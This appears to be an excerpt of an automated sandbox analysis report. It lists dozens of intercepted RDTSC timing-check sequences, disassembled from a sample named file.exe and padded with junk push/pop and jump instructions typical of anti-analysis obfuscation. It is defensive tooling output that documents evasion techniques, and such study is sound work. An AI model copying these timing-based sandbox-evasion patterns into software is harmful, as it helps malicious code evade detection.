Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9AC1 second address: BF9B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F0F34BEC151h 0x0000000c jmp 00007F0F34BEC14Bh 0x00000011 popad 0x00000012 push eax 0x00000013 jp 00007F0F34BEC15Ah 0x00000019 jmp 00007F0F34BEC154h 0x0000001e xchg eax, esi 0x0000001f mov dword ptr [ebp+122D2C2Ch], edi 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jnl 00007F0F34BEC146h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9B06 second address: BF9B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9B0C second address: BF9B13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9BCC second address: BF9C1F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0F345319E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007F0F345319F4h 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 jmp 00007F0F345319EEh 0x0000001a popad 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f jmp 00007F0F345319F4h 0x00000024 mov eax, dword ptr [eax] 0x00000026 push esi 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9C1F second address: BF9C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9E77 second address: BF9E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9E7B second address: BF9EB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0F34BEC151h 0x0000000b popad 0x0000000c nop 0x0000000d sbb edx, 2DCDE361h 0x00000013 push 00000004h 0x00000015 adc edx, 54241085h 0x0000001b nop 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F0F34BEC150h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9EB6 second address: BF9EE5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007F0F345319E6h 0x0000000d jmp 00007F0F345319F9h 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF9EE5 second address: BF9EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA199 second address: BFA19E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA19E second address: BFA200 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC156h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a movsx ecx, cx 0x0000000d push 0000001Eh 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F0F34BEC148h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 push eax 0x0000002a mov edx, dword ptr [ebp+122D3EF0h] 0x00000030 pop edi 0x00000031 push eax 0x00000032 push ebx 0x00000033 pushad 0x00000034 jmp 00007F0F34BEC151h 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA39F second address: BFA3A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA3A3 second address: BFA3A9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA65F second address: BFA6F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F0F345319EFh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push edx 0x00000016 jo 00007F0F345319E6h 0x0000001c pop edx 0x0000001d popad 0x0000001e nop 0x0000001f mov edx, 15C23500h 0x00000024 lea eax, dword ptr [ebp+1247DFB2h] 0x0000002a push eax 0x0000002b jns 00007F0F345319FBh 0x00000031 mov dword ptr [esp], eax 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007F0F345319E8h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e sub dl, FFFFFFFEh 0x00000051 lea eax, dword ptr [ebp+1247DF6Eh] 0x00000057 and ecx, dword ptr [ebp+122D3CD4h] 0x0000005d nop 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F0F345319F6h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA6F7 second address: BFA71E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC14Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F0F34BEC153h 0x00000012 jmp 00007F0F34BEC14Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA71E second address: BFA723 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C33E0D second address: C33E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0F34BEC146h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C33E17 second address: C33E23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F0F345319E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C33E23 second address: C33E50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC156h 0x00000007 jng 00007F0F34BEC148h 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jbe 00007F0F34BEC14Eh 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C342E0 second address: C34301 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F345319F0h 0x00000008 jbe 00007F0F345319E6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C34477 second address: C34488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F34BEC14Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C34488 second address: C3448C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C346F6 second address: C3470E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jp 00007F0F34BEC146h 0x0000000d ja 00007F0F34BEC146h 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3470E second address: C3472E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F0F345319E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3472E second address: C34738 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0F34BEC146h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C34738 second address: C34756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F345319EEh 0x00000009 jmp 00007F0F345319ECh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C348CA second address: C348E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F0F34BEC15Ch 0x0000000c jmp 00007F0F34BEC150h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3651A second address: C3651F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3651F second address: C36542 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0F34BEC156h 0x00000008 pushad 0x00000009 je 00007F0F34BEC146h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3D11F second address: C3D125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3D125 second address: C3D129 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C41830 second address: C41843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0F345319E6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F0F345319E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C41843 second address: C41849 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40F9C second address: C40FA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40FA0 second address: C40FA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40FA4 second address: C40FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40FB0 second address: C40FCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F34BEC157h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40FCB second address: C40FCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4223E second address: C42249 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C447C9 second address: C447E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F0F345319EDh 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C447E7 second address: C44803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F34BEC14Fh 0x00000009 popad 0x0000000a jo 00007F0F34BEC148h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4761A second address: C4763B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F0F345319E6h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F0F345319EDh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4763B second address: C47647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C47647 second address: C47654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F0F345319E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C471A3 second address: C471F2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0F34BEC146h 0x00000008 jmp 00007F0F34BEC14Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 jmp 00007F0F34BEC150h 0x00000015 pop ebx 0x00000016 jnc 00007F0F34BEC162h 0x0000001c jmp 00007F0F34BEC156h 0x00000021 jbe 00007F0F34BEC146h 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C471F2 second address: C471F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4B1E9 second address: C4B20E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC152h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F0F34BEC14Ch 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4E934 second address: C4E938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4E938 second address: C4E93E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EAC2 second address: C4EAC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EAC8 second address: C4EACF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EDC6 second address: C4EDDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F345319F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C546BD second address: C546C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C546C3 second address: C546D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F0F345319E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C546D2 second address: C546D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C546D8 second address: C546F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F345319F6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C546F2 second address: C546FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C549AB second address: C549B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C549B2 second address: C549C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F34BEC151h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55695 second address: C5569B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5569B second address: C556D0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jp 00007F0F34BEC146h 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F0F34BEC158h 0x00000015 pushad 0x00000016 popad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a push edx 0x0000001b push edi 0x0000001c pop edi 0x0000001d pop edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push edx 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C556D0 second address: C556D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D7E3 second address: C5D7E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B7D7 second address: C5B803 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319F5h 0x00000007 push esi 0x00000008 jmp 00007F0F345319EBh 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B803 second address: C5B809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B809 second address: C5B835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0F345319EDh 0x0000000a pushad 0x0000000b jmp 00007F0F345319F7h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B99C second address: C5B9B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0F34BEC153h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B9B5 second address: C5B9BF instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0F345319E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B9BF second address: C5B9CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5C0C3 second address: C5C0C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5C0C7 second address: C5C0CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5C66C second address: C5C687 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319F7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C612E7 second address: C612EC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C612EC second address: C61310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F345319F7h 0x00000009 pop edi 0x0000000a je 00007F0F345319ECh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C606DB second address: C606E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6084F second address: C60867 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319F4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60D6D second address: C60D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60D73 second address: C60D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60D79 second address: C60D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6103A second address: C6103E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6103E second address: C61048 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0F34BEC146h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C61048 second address: C6105D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F345319EFh 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6B19D second address: C6B1C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC159h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F0F34BEC15Eh 0x00000011 push esi 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6B1C7 second address: C6B1D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 ja 00007F0F345319E6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6B319 second address: C6B31D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6B65D second address: C6B663 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6B976 second address: C6B982 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jo 00007F0F34BEC146h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6BACC second address: C6BAD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6BAD2 second address: C6BADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6BADF second address: C6BAE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F0F345319E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6BEFB second address: C6BEFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C755 second address: C6C75B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C75B second address: C6C75F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
